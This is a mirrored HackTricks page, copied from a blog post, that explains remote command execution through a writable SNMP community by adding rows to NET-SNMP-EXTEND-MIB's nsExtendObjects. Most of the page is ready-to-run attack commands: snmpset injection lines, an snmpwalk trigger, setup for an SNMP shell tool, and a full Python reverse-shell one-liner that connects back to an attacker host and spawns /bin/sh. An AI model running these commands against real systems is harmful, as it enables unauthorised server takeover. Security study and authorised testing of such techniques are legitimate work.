mirror of
https://github.com/carlospolop/hacktricks
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116 lines
5.6 KiB
Markdown
116 lines
5.6 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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# SNMP RCE
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This post was copied from [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
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SNMP is sometimes overseen by the administrator of the device or server where it is left in a default configuration. SNMP community with write permissions \(**rwcommunity**\) on the Linux operating system can be abused to let the attacker execute a command on the server.
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## **Extending the Services**
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While you are not able to modify existing entries that were configured in **snmpd.conf**, it is possible to add additional commands over SNMP, because the “MAX-ACCESS” permission setting in the MIB definition is set to “**read-create**”
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Adding a new command basically works by appending an additional row to the “**nsExtendObjects**” table.
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```bash
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snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
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'nsExtendStatus."evilcommand"' = createAndGo \
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'nsExtendCommand."evilcommand"' = /bin/echo \
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'nsExtendArgs."evilcommand"' = 'hello world'
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```
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Injecting a command to run on the SNMP service. **NET-SNMP-EXTEND-MIB** requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable.
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Executing the command that we injected to the SNMP by enumerating it using snmpwalk
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```bash
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snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
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```
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Showing that the command is /bin/echo.
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The command will be executed when the it is read. **run-on-read\(\)**
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The command **/bin/echo "hello rio is here"** was executed during our snmpwalk read
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## **Getting the Shell** **from Net-SNMP Extend**
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In this section, I would like to discuss how to gain a server shell to control the server.
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You can use python script developed by **mxrch** that can be downloaded from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
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You can install the pre-requisite to run this:
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```bash
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sudo apt install snmp snmp-mibs-downloader rlwrap -y
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git clone https://github.com/mxrch/snmp-shell
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cd snmp-shell
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sudo python3 -m pip install -r requirements.txt
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```
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**Creating reverse shell**
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You can also create reverse shell manually by injecting the command below into the SNMP
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```bash
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snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
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```
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run the snmpwalk to trigger the command execution
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Our netcat receives the reverseshell connection from the victim that allow us to gain control over the victim machine
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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